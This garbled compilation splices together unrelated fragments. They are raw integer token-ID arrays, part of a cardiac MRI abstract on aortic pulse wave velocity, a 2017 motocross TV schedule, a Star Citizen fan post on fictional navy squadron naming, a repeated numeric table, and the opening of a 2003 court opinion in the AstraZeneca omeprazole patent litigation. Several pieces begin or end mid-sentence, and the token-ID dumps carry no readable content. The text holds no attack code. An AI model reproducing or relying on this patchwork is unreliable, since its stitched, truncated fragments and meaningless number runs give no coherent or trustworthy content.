15, 12838, 29244, 3016, 49412, 42, 5529, 313, 41, 30292, 19527, 10, 187, 187, 510, 4585, 19947, 3558, 273, 253, 13669, 285, 6125, 253, 7789, 275, 253, 2208, 15, 754, 390, 703, 44682, 3646, 625, 685, 15942, 1453, 15, 187, 187, 6217, 5543, 5446, 46, 3027, 1556, 187, 187, 34, 16782, 285, 253, 6036, 46282, 512, 14436, 715, 247, 2014, 1436, 13, 533, 342, 4583, 15942, 6265, 347, 973, 15, 187, 187, 3788, 43, 1372, 401, 1843, 45467, 187, 187, 37195, 846, 7565, 457, 84, 1030, 437, 569, 13, 1016, 18500, 310, 26814, 407, 271, 28244, 13, 665, 5012, 281, 253, 8481, 28244, 15, 187, 187, 11991, 2449, 1556, 401, 1843, 2025, 19527, 947, 187, 187, 55, 547, 28244, 665, 18182, 265, 32521, 2425, 275, 2173, 4811, 273, 253, 11432, 32521, 457, 84, 14564, 273, 24636, 15, 427, 3163, 846, 10325, 39719, 313, 74, 15, 70, 15, 47894, 18973, 13, 7565, 32521, 481, 187, 187, 22395, 28408, 25090, 9942, 2185, 3299, 187, 187, 6802, 8707, 281, 32521, 28244, 28, 436, 310, 835, 253, 5901, 24609, 313, 55, 547, 28244, 10, 273, 512, 13487, 9036, 273, 401, 15053, 651, 28932, 13, 10938, 253, 3733, 15722, 13, 689, 30546, 9363, 6095, 275, 1097, 4753, 285, 20079, 13, 285, 34018, 295, 814, 788, 25244, 281, 13487, 9036, 15, 187, 187, 4943, 403, 253, 913, 1406, 90, 983, 323, 253, 3510, 273, 2390, 27, 187, 187, 6504, 916, 45398, 1108, 8681, 187, 187, 6504, 916, 40985, 589, 1108, 32728, 187, 187, 10287, 992, 280, 40985, 589, 1108, 22051, 187, 187, 42621, 3660, 17937, 1108, 45118, 187, 187, 13422, 285, 44150, 1108, 12938, 187, 187, 9147, 1102, 16, 1785, 585, 34056, 1108, 4653, 187, 187, 35, 20905, 1843, 42370, 187, 187, 48588, 8414, 273, 337, 11505, 2639, 4586, 13, 374, 14, 21, 20748, 8707, 285, 247, 11962, 1180, 273, 1781, 46750, 16, 22032, 657, 405, 1241, 15, 7890, 3904, 323, 25344, 313, 20207, 394, 15764, 5901, 481, 2053, 403, 26814, 407, 247, 416, 613, 28244, 665, 5012, 281, 19804, 32521, 24609, 15, 187, 187, 15614, 1562, 11811, 2216, 569, 27, 187, 187, 8887, 426, 32521, 2639, 4586, 187, 187, 8887, 38, 426, 20748, 430, 2639, 4586, 187, 187, 10172, 426, 23777, 868, 1456, 187, 187, 4280, 426, 12053, 9141, 187, 187, 14922, 426, 15764, 49010, 9141, 187, 187, 11927, 426, 20593, 4926, 254, 187, 187, 3269, 426, 1879, 12894, 187, 187, 3269, 45, 426, 1879, 12894, 10315, 187, 187, 44, 426, 3094, 48359, 187, 187, 2088, 426, 26396, 187, 187, 34, 11840, 426, 40202, 254, 187, 187, 52, 8846, 2350, 27182, 52, 187, 187, 52, 3362, 9036, 403, 762, 253, 3923, 273, 253, 2639, 4586, 28139, 24609, 665, 310, 38712, 327, 253, 6253, 10289, 275, 253, 15764, 5901, 285, 5012, 281, 253, 416, 613, 28244, 15, 380, 2639, 4586, 28139, 7922, 281, 253, 6680, 1387, 10764, 253, 1180, 7922, 281, 253, 10289, 534, 42799, 432, 253, 806, 6215, 275, 253, 966, 313, 14719, 314, 3413, 582, 285, 840, 6774, 11811, 403, 31050, 32627, 15, 187, 187, 52, 3362, 9036, 403, 31050, 275, 253, 1340, 275, 534, 597, 497, 11420, 285, 2882, 273, 598, 281, 1740, 20818, 15, 22460, 13, 1016, 273, 841, 20818, 452, 2800, 11811, 13, 533, 436, 1180, 476, 10920, 6340, 1754, 327, 11659, 16, 22990, 15, 187, 187, 510, 26086, 273, 20818, 369, 6107, 275, 253, 39994, 1840, 533, 1060, 457, 84, 247, 14402, 281, 17093, 253, 2862, 985, 15, 1198, 11990, 457, 84, 13232, 13, 309, 908, 253, 806, 8630, 26086, 39212, 5125, 1840, 15, 187, 187, 2598, 627, 368, 452, 352, 15, 3900, 627, 403, 1335, 4278, 281, 15447, 562, 13, 253, 7792, 323, 247, 28901, 422, 985, 9193, 4891, 2217, 323, 2007, 4812, 2440, 15, 9375, 969, 281, 4130, 323, 634, 673, 285, 9021, 281, 1361, 15447, 436, 562, 13, 3340, 281, 399, 91, 321, 323, 521, 7680, 285, 22450, 15571, 841, 2718, 281, 479, 15, 187, 187, 45, 11156, 26564, 3077, 13635, 310, 1469, 281, 327, 14260, 3144, 275, 32470, 273, 690 ]

and additionally transects the proximal descending aorta (2). Pulse wave velocity (PWV) is determined from the propagation of the blood flow velocity, defined from the velocity-time curves recorded at locations 1 and 2 (B). PWV is defined as Δx/Δt, with Δx the path length along the centerline of the aorta from positions 1 to 2 and Δt the transit time for the foot of the velocity wave to propagate from positions 1 to 2.](1532-429X-16-S1-P167-1){#F1} Methods ======= Five patients referred for cardiac MRI and ten healthy volunteers within similar age range (mean age 32 ± 14 years) were prospectively included. PWV was assessed from velocity mapping using VE MRI on 3T MRI (Ingenia, Philips) with velocity sensitivity of 150 cm/s. Reference PWV (PWVref) was achieved from VE MRI with maximal number of reconstructed phases (Tres = 5 ms). The effect of temporal Tres on PWV was evaluated by temporal downsampling (50% \[Tres = 10 ms\], 67% \[Tres = 15 ms\], 75% \[Tres = 20 ms\], and 80% \[Tres = 25 ms\]), first by reducing phases during repeated reconstruction of the original acquired high-temporal data. Next, downsampling was performed by data removal as well as by data averaging from the reference PWV data set. Finally, this was compared to PWV from repeated scanning with decreasing Tres to evaluate the effect of physiologic variation in combination with temporal downsampling. Relative unsigned differences (RUDs) with respect to PWVref were calculated for downsampled data. Results ======= Figure [2](#F2){ref-type="fig"} shows that mean RUD in PWV will increase for decreasing Tres: for Tres = 10 ms, mean RUD was 2% for downsampling by repeated reconstruction, 3% for data removal, 5% for data averaging and 9% for repeated scanning. For Tres = 25 ms, RUDs increased to 10% for repeated reconstruction, 11% for both data removal as well as data averaging and 17% for repeated scanning. Repeated scanning revealed a physiological variation in PWV of up to 7%, on top of increasing error by temporal downsampling. For repeated reconstruction, Tres of 20 ms or lower is required for RUD not exceeding 7%. ![**Relative unsigned difference (RUD) in aortic arch pulse wave velocity from velocity-encoded MRI after temporal downsampling, with respect to PWV-assessment with maximal temporal resolution (PWVref)**. Downsampling (50% \[Tres = 10 ms\], 67% \[Tres = 15 ms\], 75% \[Tres = 20 ms\], and 80% \[Tres = 25 ms\]) was first achieved by repeated reconstruction of the original acquired MRI data for PWVref. Also downsampling was achieved by data removal as well as by data averaging from the reference PWV data set. Finally, downsampling was achieved by repeated scanning. Error bars represent standard deviation in RUD.](1532-429X-16-S1-P167-2){#F2} Conclusions =========== Physiological changes introduce up to 7% variation in PWV. When allowing less than 7% error in PWV assessment, Tres of at least 20 ms is required. Reducing Tres in retrospective ECG-gated VE MRI does not correspond with data removal or averaging of high-temporal VE MRI data. Funding ======= Part of this research was funded by an unconditional grant provided by Dr. Rainer Bluemm. Don't miss the television or online coverage of the 12th and final round of the 2017 Lucas Oil Pro Motocross Championship, the Christi Hubler Chevrolet Ironman National. Get the rundown below on how to watch qualifiers and all four motos on Saturday, August 26. LUCAS OIL PRO MOTOCROSS TV Schedule ROUND 12 | Ironman | Crawfordsville, INSaturday, August 26 450 AND 250 MOTO 1 - 1:00 p.m. EST - MAVTV Once again this year, MAVTV will air the first motos from all 12 rounds live. Use the MAVTV channel finder to see if you currently get MAVTV. You can also use that link to request that your cable provider carry MAVTV if they currently do not.Hello and welcome to this week’s installment of Lore Builder, our weekly feature where we talk out aspects of the Star Citizen universe with you, the community. As always, please consult the first issue for the caveats and links to background material to see what’s already been established. RECAP For the past few weeks, we have been playing around with Squadron Numbering. That topic has expanded into an exploration into how the Navy itself is organized and the numbering systems involved. There was a lot of discussion regarding the naming of the flights within the squadron, specifically using the callsign of the ranking officer to identify the flight. I’m starting to agree that it might be very confusing to understand who is who, particularly when flights from multiple ships are in the same battle. While the callsign might be a unique identifier, a pilot can glean no additional information from it. There was a suggestion to go back to a color-coding system, which would be awesome just to be able to say “Red-Five standing by,” but it feels like you would run out of colors very quickly if that was your only indicator. Therefore, I suggest two options: 1. Similar to Homewreaker’s suggestion, the flight is known as: Squadron #-Phonetic Alphabet-Ship #. So the fourth ship in 82nd Squadron Charlie Flight would be “Charlie-Four” if they’re on a mission with just their squadron and 82-Charlie-Four if it’s a big multi-squadron brawl. 2. Basically the same system but with colors instead of the Phonetic Alphabet, so instead of “Charlie-Four” it would be “Gold-Four” or “82-Gold-Four.” Let’s take a look at a final write-up of the complete structure as it currently stands: UEE NAVY NUMBERING & ORGANIZATION Here is the flow of command as well as the structure/naming conventions for each level of the Navy. IMPERATOR Head of the UEE. H.C. LEGATUS NAVIUM (HIGH COMMAND) The highest ranking member of the Navy and represents the branch in the government. He or she dictates policy more than operational control. GRAND ADMIRAL A chairman and the joint chiefs all rolled into a single person, but with overall operational authority as well. MAJOR FLEETS Named after Earth’s constellations, each fleet is commanded by an Admiral, who reports to the Grand Admiral. REGIONAL FLEET COMMANDER Vice Admiral who oversees Fleet activity in specific regions of the Major Fleet’s Area of Operation. Named after universe landmarks (i.e. Gamma Region, Earth Fleet). SPECIALTY GROUPS Reports to Fleet Admiral; this is where the Group Commander (Vice Admiral) of all squadrons of Fighters would reside, controlling the training pipeline, overseeing maintenance requirements in both materials and credits, and assigning nugget pilots to squadrons. Here are the acronyms for the types of groups: Intercept Fighter – IF Intercept Bomber – IB Strategic Bomber – SB Electronic Warfare – EW Search and Rescue – SR Patrol/Reconnaissance – PR BATTLE GROUP Usually consists of 1 Main Carrier, 2-4 Escorts and a varying number of large Combat/Support Vessels. Use numbers for designation (312th Battle Group). These are commanded by a Rear Admiral who reports to Regional Fleet Commander. Capital ships designations: CV = Fleet Carrier CVE = Escort Carrier BB = Battleship CA = Cruiser CB = Battlecruiser DD = Destroyer FF = Frigate FFL = Frigate Light K = Corvette AP = Transport AOG = Tanker SQUADRONS Squadrons are under the command of the Carrier Wing Commander who is stationed on the largest carrier in the Battle Group and reports to the Rear Admiral. The Carrier Wing assigned to the battle group shares the number assigned to the carrier which originates from the first ship in the class (randomly determined), and then subsequent ships are numbered sequentially. Squadrons are numbered in the order in which they were founded and consist of up to four flights. Typically, each of these flights have six ships, but this number can fluctuate based on availability/need. The naming of flights was covered in the recap above but here’s a pic to illustrate the entire system. For ease’s sake, I used the first flight naming mechanic suggested above. So there you have it. While there are still details to flesh out, the framework for a cohesive system feels solid enough for further internal development. Thanks again to everyone for your time and contributions to help flesh this out, especially to Dzur for his contribution and patience explaining these systems to me. LORE BUILDER is going to on hiatus in lieu of some

[ 6705, 187, 17, 6705, 15, 8551, 6705, 187, 18, 6705, 15, 8551, 6705, 187, 19, 6705, 15, 8551, 6705, 187, 20, 6705, 15, 8551, 6705, 187, 21, 6705, 15, 8551, 6705, 187, 22, 6705, 15, 8551, 6705, 187, 23, 6705, 15, 8551, 6705, 187, 24, 6705, 15, 8551, 6705, 187, 25, 6705, 15, 8551, 6705, 187, 26, 6705, 15, 8551, 6705, 187, 740, 6705, 15, 8551, 6705, 187, 883, 6705, 15, 8551, 6705, 187, 805, 6705, 15, 8551, 6705, 187, 1012, 6705, 15, 8551, 6705, 187, 1047, 6705, 15, 8551, 6705, 187, 1010, 6705, 15, 8551, 6705, 187, 1036, 6705, 15, 8551, 6705, 187, 1166, 6705, 15, 8551, 6705, 187, 1093, 6705, 15, 8551, 6705, 187, 746, 6705, 15, 8551, 6705, 187, 938, 6705, 15, 8551, 6705, 187, 1797, 6705, 15, 8551, 6705, 187, 1423, 6705, 15, 8551, 6705, 187, 1508, 6705, 15, 8551, 6705, 187, 1348, 6705, 15, 8551, 6705, 187, 1099, 6705, 15, 8551, 6705, 187, 1731, 6705, 15, 8551, 6705, 187, 1630, 6705, 15, 8551, 6705, 187, 1619, 6705, 15, 8551, 6705, 187, 1717, 6705, 15, 8551, 6705, 187, 1229, 6705, 15, 8551, 6705, 187, 2405, 6705, 15, 8551, 6705, 187, 1237, 6705, 15, 8551, 6705, 187, 1610, 6705, 15, 8551, 6705, 187, 1706, 6705, 15, 8551, 6705, 187, 1671, 6705, 15, 8551, 6705, 187, 1812, 6705, 15, 8551, 6705, 187, 1787, 6705, 15, 8551, 6705, 187, 1839, 6705, 15, 8551, 6705, 187, 1867, 6705, 15, 8551, 6705, 187, 1449, 6705, 15, 8551, 6705, 187, 3156, 6705, 15, 8551, 6705, 187, 2945, 6705, 15, 8551, 6705, 187, 3079, 6705, 15, 8551, 6705, 187, 2031, 6705, 15, 8551, 6705, 187, 1857, 6705, 15, 8551, 6705, 187, 2950, 6705, 15, 8551, 6705, 187, 2504, 6705, 15, 8551, 6705, 187, 2385, 6705, 15, 8551, 6705, 187, 2537, 6705, 15, 8551, 6705, 187, 1235, 6705, 15, 8551, 6705, 187, 3712, 6705, 15, 8551, 6705, 187, 3583, 6705, 15, 8551, 6705, 187, 3357, 6705, 15, 8551, 6705, 187, 3439, 6705, 15, 8551, 6705, 187, 2417, 6705, 15, 8551, 6705, 187, 3208, 6705, 15, 8551, 6705, 187, 3011, 6705, 15, 8551, 6705, 187, 3680, 6705, 15, 8551, 6705, 187, 3046, 6705, 15, 8551, 6705, 187, 1549, 6705, 15, 8551, 6705, 187, 3832, 6705, 15, 8551, 6705, 187, 3763, 6705, 15, 8551, 6705, 187, 3571, 6705, 15, 8551, 6705, 187, 5, 187, 187, 2214, 747, 2127, 390, 747, 9363, 13, 368, 943, 760, 897, 253, 795, 24335, 9508, 15, 209, 187, 2214, 2007, 6667, 273, 253, 10393, 273, 253, 8989, 4764, 13, 3730, 281, 436, 5311, 535, 187, 21317, 401, 15, 4727, 15, 19, 69, 25098, 313, 9755, 10, 187, 17643, 5214, 59, 43578, 4280, 12056, 13, 1162, 355, 904, 12601, 13, 187, 87, 15, 187, 19805, 45, 1539, 46184, 1372, 26573, 9785, 13, 21346, 15, 285, 353, 24107, 18033, 33367, 13, 3690, 15, 12254, 15, 187, 34, 10981, 28945, 466, 33338, 356, 13, 1162, 355, 904, 12601, 13, 187, 87, 15, 187, 38, 251, 40840, 45214, 13, 3690, 904, 8167, 15, 187, 688, 294, 30542, 554, 5744, 1306, 11754, 26775, 5538, 187, 45433, 15, 7449, 21352, 15, 9963, 2537, 9, 4449, 43, 582, 7449, 21352, 15, 818, 37687, 9, 4449, 43, 481, 353, 14, 1797, 14, 3593, 13, 353, 6721, 1249, 4739, 15, 187, 11586, 2077, 4412, 2111, 13, 322, 15, 37, 15, 1457, 2816, 15, 187, 6791, 3127, 13, 6469, 15, 187, 187, 2795, 26995, 4889, 19140, 187, 43, 1139, 1410, 13, 4412, 6798, 15, 187, 36645, 13, 329, 10981, 59, 257, 30692, 12056, 13, 28945, 466, 33338, 356, 292, 30815, 282, 13, 611, 6159, 14, 38, 14, 29228, 13, 611, 6159, 3690, 904, 285, 329, 10981, 59, 257, 30692, 13, 20590, 13, 313, 23865, 1242, 346, 34, 10981, 8375, 7703, 3553, 281, 15026, 616, 5833, 1411, 7159, 353, 24107, 31497, 3690, 904, 285, 353, 24107, 18033, 33367, 13, 3690, 15, 313, 23865, 1242, 346, 46, 24107, 2807, 281, 823, 444, 3241, 306, 3277, 303, 3737, 322, 15, 34, 15, 5550, 38, 3241, 306, 3277, 303, 3737, 2807, 285, 31497, 3196, 15, 444, 3241, 306, 322, 15, 34, 5550, 48111, 15829, 3196, 15, 444, 3241, 306, 8375, 313, 23865, 1242, 346, 38, 3241, 306, 2807, 347, 7159, 10145, 273, 24635, 29157, 273, 530, 15, 52, 11754, 1621, 15, 577, 13, 24, 2691, 13, 18550, 5550, 783, 686, 18550, 9469, 2807, 285, 530, 15, 52, 15, 11754, 1621, 15, 577, 13, 35866, 13, 17569, 5550, 783, 686, 17569, 9469, 6788, 22300, 13, 329, 10981, 14993, 281, 15026, 697, 5833, 1411, 3257, 444, 251, 40840, 45214, 3690, 15, 5550, 38, 251, 2807, 281, 823, 48927, 267, 13145, 5550, 35348, 267, 2807, 285, 329, 16, 52, 21430, 34, 15162, 11698, 1886, 17287, 16409, 5550, 7538, 34, 2807, 347, 7159, 10145, 273, 29157, 273, 253, 686, 18550, 285, 686, 17569, 21410, 15, 1198, 253, 4606, 281, 956, 13, 329, 10981, 434, 3200, 475, 21866, 281, 15026, 342, 1675, 281, 253, 353, 24107, 285, 444, 251, 14672, 310, 5868, 15, 187, 187, 25292, 33439, 187, 6872, 5231, 14588, 281, 329, 10981, 434, 21410, 323, 4653, 3077, 48, 20869, 8942, 13, 247, 19267, 1885, 326, 21425, 253, 3275, 273, 3527, 275, 253, 12607, 15, 380, 1246, 9474, 447, 3407, 672, 7159, 23274, 329, 10981, 326, 597, 574, 9262, 281, 253, 21172, 3506, 22966, 4215, 1457, 16686, 27492, 5550, 5543, 1909, 2807, 8445, 9612, 281, 6833, 247, 12314, 2715, 273, 329, 10981, 434, 4653, 3077, 48, 20869, 8942, 15, 496, 2380, 281, 253, 27833, 13, 329, 10981, 4724, 247, 5833, 1411, 444, 251, 327, 2552, 1458, 13, 5307, 285, 247, 5833, 1411, 353, 24107, 327, 4397, 854, 13, 5307, 15, 9240, 14672, 21244, 326, 444, 8885, 285, 353, 24107, 434, 2933, 4877, 48174, 19419, 29157, 273, 329, 10981, 434, 686, 18550, 285, 686, 17569, 21410, 4681, 18, 62, 29600, 275, 841, 2219, 369, 33114, 1078, 253, 10396, 10718, 327, 4565, 374, 13, 6752, 5277, 5512, 2800, 2607, 323, 12240, 273, 958, 8900, 432, 253, 2620, 7159, 15, 187, 34, 10981, 5608, 3389, 9762, 327, 353, 24107, 285, 444, 251, 327, 4565, 2145, 13, 6752, 275, 1635, 281, 247, 2748, 326, 353, 24107, 4711, 7177, 432, 253, 4367, 273, 444, 3241, 306, 3277, 303, 3737, 285, 31497, 3196, 15, 444, 3241, 306, 13, 285, 247, 2748, 326, 444, 251, 4711, 7177, 432, 253, 4367, 273, 48927, 267, 285, 21430, 34, 15, 353, 24107, 5868, 13555, 285, 1453, 689, 253, 444, 3241, 306, 7177, 285, 8191, 329, 10981, 326, 352, 651, 2085, 690, 7177, 2905, 281, 353, 24107, 434, 2933, 4877, 3580, 15, 444, 251, 21223, 5868, 13555, 285, 1453, 689, 253, 48927, 267, 285, 21430, 34, 7177, 285, 4767, 326, 352, 651, 417, 10073, 329, 10981, 275, 13546, 8900, 432, 2057, 48927, 267, 390, 21430, 34, 4681, 19, 62, 187, 2374, 4247, 884, 13, 6469, 13, 329, 10981, 9521, 326, 353, 24107, 285, 444, 251, 7578, 281, 271, 15129, 281, 253, 14672, 1411, 731, 281, 823, 444, 3241, 306, 3277, 303, 3737, 285, 31497, 3196, 15, 444, 3241, 306, 13, 285, 48927, 267, 285, 21430, 34, 13, 2975, 13, 347, 7159, 15, 6295, 353, 24107, 285, 444, 251, 10974, 326, 597, 651, 417, 7578, 15, 831, 3200, 323, 3553, 281, 15026, 3560, 15, 187, 187, 38535, 187, 187, 34, 15, 24547, 12144, 323, 16066, 281, 44518, 187, 49, 27956, 281, 7804, 1458, 9, 66, 10, 273, 253, 7671, 16228, 273, 10109, 18809, 13, 346, 35789, 544, 936, 15026, 62, 3091, 320, 15744, 1677, 672, 8426, 594, 4419, 449, 380, 6347, 6817, 556, 4767, 326, 3553, 281, 15026, 943, 346, 43786, 417, 320, 5868, 3, 5734, 824, 15129, 651, 320, 42568, 13, 390, 346, 9088, 310, 1941, 273, 39284, 5778, 13, 3076, 6009, 13, 544, 263, 62, 39284, 14751, 281, 253, 1327, 14, 16047, 386, 24554, 27850, 3248, 362, 15, 33932, 14, 48, 282, 360, 9537, 904, 27146, 401, 15, 20, 69, 12131, 13, 9199, 313, 19, 69, 4082, 15, 8971, 10, 313, 18799, 401, 4998, 362, 15, 11328, 13, 36696, 530, 15, 52, 15, 24833, 13, 25985, 13, 11439, 322, 15, 5229, 15, 26472, 13, 898, 418, 15, 3996, 15, 19, 69, 25653, 313, 32796, 5029, 187, 11389, 13, 7804, 1384, 9, 66, 10, 285, 7804, 3127, 273, 253, 7671, 16228, 273, 10109, 18809, 2085, 323, 253, 1635, 273, 4676, 15, 6166, 7804, 1384, 9, 66, 582, 253, 1855, 386, 1364, 10180, 247, 987, 281, 6619, 346, 26204, 1016, 3257, 12600, 281, 390, 14475, 562, 273, 253, 1072, 9996, 13, 12340, 13, 390, 2962, 273, 13122, 390, 37102, 3, 285, 326, 690, 346, 19751, 273, 1569, 390, 958, 1846, 281, 512, 7159, 588, 475, 21351, 12893, 275, 253, 2250, 449, 1605, 282, 80, 362, 15, 1503, 5501, 5260, 9537, 904, 7449, 15173, 17272, 746, 13, 5307, 18972, 1283, 34802, 1099, 13, 475, 19, 13, 5307, 530, 15, 52, 15, 3656, 15, 418, 4237, 1830, 25165, 2082, 13, 387, 475, 21, 313, 56, 15, 37, 15, 47, 15, 58, 15, 7659, 15, 1283, 13, 5307, 10, 313, 11577, 47331, 285, 25577, 11035, 481, 7804, 3127, 3400, 326, 247, 3128, 778, 320, 2879, 281, 271, 2250, 346, 255, 667, 3924, 273, 253, 2250, 285, 327, 824, 2426, 347, 403, 816, 449, 8529, 15, 51, 15, 23429, 15, 49, 15, 3127, 15, 187, 46, 24107, 285, 444, 251, 1097, 21244, 326, 329, 10981, 434, 3200, 281, 15026, 253, 9056, 14672, 1411, 731, 943, 320, 5868, 984, 329, 10981, 434, 3916, 1411, 253, 1740, 4081, 7159, 403, 22327, 347, 247, 2647, 273, 1569, 285, 3021, 403, 42568, 15, 9157, 13, 353, 24107, 285, 444, 251, 9059, 326, 329, 10981, 434, 3200, 943, 320, 5868, 984, 352, 310, 43212, 13, 28203, 17194, 13, 285, 440, 49701, 33218, 281, 731, 15, 6610, 13, 353, 24107, 12148, 326, 1014, 604, 329, 10981, 1057, 452, 247, 2847, 273, 2250, 1411, 253, 444, 3241, 306, 4413, 13, 1110, 3916, 943, 320, 23321, 275, 247, 4858, 2250, 15, 4923, 253, 2111, 9010, 326, 329, 10981, 434, 3916, 1411, 253, 1740, 4081, 7159, 403, 42568, 13, 329, 10981, 434, 3200, 281, 15026, 253, 9056, 14672, 310, 5868, 15, 187, 187, 35, 15, 380, 27120, 323, 496, 563, 336, 420, 24161, 444, 3241, 306, 3277, 303, 3737, 13, 3196, 15, 9543, 1080, 3783, 444, 3241, 306, 13, 21430, 34, 13, 285, 48927, 267, 403, 41395, 587, 187, 510, 16686, 16040, 38692, 285, 11754, 13302, 11726, 7843, 3162, 273, 12459, 13, 22446, 15, 45, 15, 1621, 15, 10508, 14, 39069, 13, 10508, 6515, 1458, 2227, 313, 15624, 10, 313, 19880, 1245, 387, 3127, 530, 15, 52, 15, 36, 15, 20485, 26033, 285, 22146, 550, 285, 4791, 530, 15, 52, 15, 36, 15, 20485, 21807, 285, 32855, 10, 313, 783, 346, 41, 1506, 14, 56, 991, 1342, 3162, 2807, 3400, 326, 346, 10002, 972, 15257, 14757, 29157, 273, 247, 9469, 3091, 320, 15922, 347, 271, 18632, 254, 449, 4791, 530, 15, 52, 15, 36, 15, 3015, 32855, 9, 67, 481, 380, 7671, 6817, 556, 753, 326, 281, 9302, 327, 247, 3762, 273, 10808, 420, 762, 3015, 32855, 9, 67, 10, 346, 66, 3482, 1364, 5276, 326, 253, 7159, 8, 5231, 5802, 18632, 272, 6993, 285, 326, 597, 3260, 390, 943, 452, 1929, 616, 5231, 651, 10808, 4588, 29157, 449, 24324, 14, 42149, 6291, 2434, 15, 362, 15, 4276, 302, 911, 9537, 904, 33152, 401, 15, 20, 69, 13900, 25, 13, 14821, 20, 313, 28246, 15, 23644, 15, 9755, 10, 313, 11577, 47331, 285, 25577, 11035, 481, 5076, 13, 281, 5276, 10808, 420, 13, 247, 3482, 1364, 921, 346, 26651, 6860, 281, 2847, 253, 6993, 534, 12647, 253, 29157, 3, 285, 346, 3529, 253, 10145, 18632, 254, 30210, 35479, 285, 490, 37883, 1529, 434, 1480, 29157, 273, 253, 9469, 3446, 24324, 14, 42149, 6291, 13, 33152, 401, 15, 20, 69, 387, 14821, 20, 313, 11577, 47331, 285, 25577, 11035, 481, 187, 7910, 643, 3286, 7829, 452, 31114, 326, 984, 253, 12108, 273, 253, 2933, 4877, 310, 271, 769, 273, 29157, 13, 253, 3939, 10808, 420, 273, 271, 2933, 4877, 19529, 310, 247, 16733, 6051, 769, 273, 29157, 15, 2594, 6212, 44, 1282, 31069, 348, 312, 9537, 15, 362, 15, 31955, 1777, 15326, 904, 3690, 904, 8688, 15173, 3285, 1731, 13, 6752, 530, 15, 52, 15, 3656, 15, 418, 4237, 1830, 26771, 883, 13, 387, 475, 2405, 313, 38, 15, 37, 15, 9387, 15, 3821, 15, 337, 13, 6752, 10, 313, 44101, 326, 5749, 88 ]

64 0 64.000000 64 1 64.000000 64 2 64.000000 64 3 64.000000 64 4 64.000000 64 5 64.000000 64 6 64.000000 64 7 64.000000 64 8 64.000000 64 9 64.000000 64 10 64.000000 64 11 64.000000 64 12 64.000000 64 13 64.000000 64 14 64.000000 64 15 64.000000 64 16 64.000000 64 17 64.000000 64 18 64.000000 64 19 64.000000 64 20 64.000000 64 21 64.000000 64 22 64.000000 64 23 64.000000 64 24 64.000000 64 25 64.000000 64 26 64.000000 64 27 64.000000 64 28 64.000000 64 29 64.000000 64 30 64.000000 64 31 64.000000 64 32 64.000000 64 33 64.000000 64 34 64.000000 64 35 64.000000 64 36 64.000000 64 37 64.000000 64 38 64.000000 64 39 64.000000 64 40 64.000000 64 41 64.000000 64 42 64.000000 64 43 64.000000 64 44 64.000000 64 45 64.000000 64 46 64.000000 64 47 64.000000 64 48 64.000000 64 49 64.000000 64 50 64.000000 64 51 64.000000 64 52 64.000000 64 53 64.000000 64 54 64.000000 64 55 64.000000 64 56 64.000000 64 57 64.000000 64 58 64.000000 64 59 64.000000 64 60 64.000000 64 61 64.000000 64 62 64.000000 64 63 64.000000 64 $ For new code or new maintenance, you should only use the _sync versions. For further examples of the usage of the mask parameter, refer to this blog 265 F.Supp.2d 213 (2003) ASTRAZENECA AB, et al., Plaintiffs, v. MYLAN LABORATORIES, INC. and Mylan Pharmaceuticals, Inc. Defendants. Astra Aktiebolag, et al., Plaintiffs, v. Eon Labs Manufacturing, Inc., Defendant. In re Omeprazole Patent Litigation Nos. 00 Civ. 6749(BSJ), 00 Civ. 7598(BSJ). M-21-81, MDL 1291. United States District Court, S.D. New York. May 21, 2003. OPINION AND ORDER JONES, District Judge. Plaintiffs, AstraZeneca AB, Aktiebolaget Hassle, KBI-E-Inc, KBI Inc., and AstraZeneca, LP, (collectively "Astra"), seek leave to amend their complaint against defendants Mylan Laboratories Inc., and Mylan Pharmaceuticals, Inc. (collectively "Mylan") to add Esteve Quimica S.A. ("Esteve Quimica") and Laboratories Dr. Esteve S.A ("Laboratories Dr. Esteve"), (collectively "Esteve") as defendants accused of inducing infringement of U.S Patent No. 4,786,505 ("the '505 patent") and U.S. Patent No. 4,853,230 ("the '230 patent"). Likewise, Astra seeks to amend its complaint against defendant Eon Labs Manufacturing Inc. ("Eon") to add Hexal AG ("Hexal") and A/S GEA Farmaceutisk Fabrik ("GEA") as defendants accused of infringement of the '505 and '230 patents. For the reasons to follow, Astra's motion *214 to amend with respect to the Mylan and Eon complaints is denied. BACKGROUND These actions relate to Astra's patents for PRILOSEC®, a pharmaceutical product that inhibits the production of acid in the stomach. The present controversies began when defendants notified Astra that they had submitted to the FDA Abbreviated New Drug Applications ("ANDAs") seeking approval to manufacture a generic version of Astra's PRILOSEC®. In response to the notices, Astra filed a complaint against Eon on May 15, 2000 and a complaint against Mylan on September 8, 2000. Those complaints contend that Eori and Mylan's ANDA filings constituted infringement of Astra's '505 and '230 patents.[1] Discovery in these cases was consolidated before the Special Master on December 2, 2002 providing approximately six months for completion of fact discovery from the five defendants. Astra served document requests on Mylan and Eon on December 13, 2002 in addition to a request that Mylan produce documents from the files of Esteve Quimica and Laboratories Dr. Esteve, and a request that Eon produce documents from the files of Hexal and GEA. Mylan denied custody and control over the Esteve documents and informed Astra that it would provide some documents related to Mylan's ANDA products. Eon likewise denied custody and control over the Hexal and GEA documents and stated that it would not assist Astra in obtaining discovery from either Hexal or GEA.[2] On January 10, 2003, Astra requested that Mylan and Eon consent to an amendment to the complaints against them to add Esteve Quimica and Laboratories Dr. Esteve, and Hexal and GEA, respectively, as defendants. Both Mylan and Eon responded that they would not consent. This motion for leave to amend followed. DISCUSSION A. Legal Standard for Motion to Amend Pursuant to Rule 15(a) of the Federal Rules of Civil Procedure, "leave [to amend] shall be freely given when justice so requires." The Second Circuit has stated that leave to amend should "generally not be denied" unless such amendment would be futile, or "there is evidence of undue delay, bad faith, [or] undue prejudice to the non-movant...." Milanese v. Rust-Oleum Corp., 244 F.3d 104, 110 (2d Cir.2001) (citing Foman v. Davis, 371 U.S. 178, 182, 83 S.Ct. 227, 9 L.Ed.2d 222 (1962)). Further, Rule 20(a) and Rule 21 of the Federal Rules of Civil Procedure provide for the addition of parties. Under Rule 20(a), the movant must aver a right to relief "against each defendant relating to or arising out of the same transaction, occurrence, or series of transactions or occurrences" and that some "question of law or fact common to all defendants will *215 arise in the action." Deleo v. Zconnexx Corp., 00 CV 0319, 2000 WL 1887825, *2, 2000 U.S. Dist. LEXIS 18765, at *4 (W.D.N.Y. Dec. 18, 2000) (internal quotations and citation omitted). Rule 21 provides that a party may be added to an action "at any stage of the action and on such terms as are just." Fed.R.Civ.P. 21. Mylan and Eon both contend that Astra's motion to amend the respective complaints against them should be denied because Astra's claims against the four proposed defendants are defective as a matter of law and thus are futile. Additionally, Mylan and Eon argue that Astra's motion should be denied because it is untimely, improperly motivated, and unduly 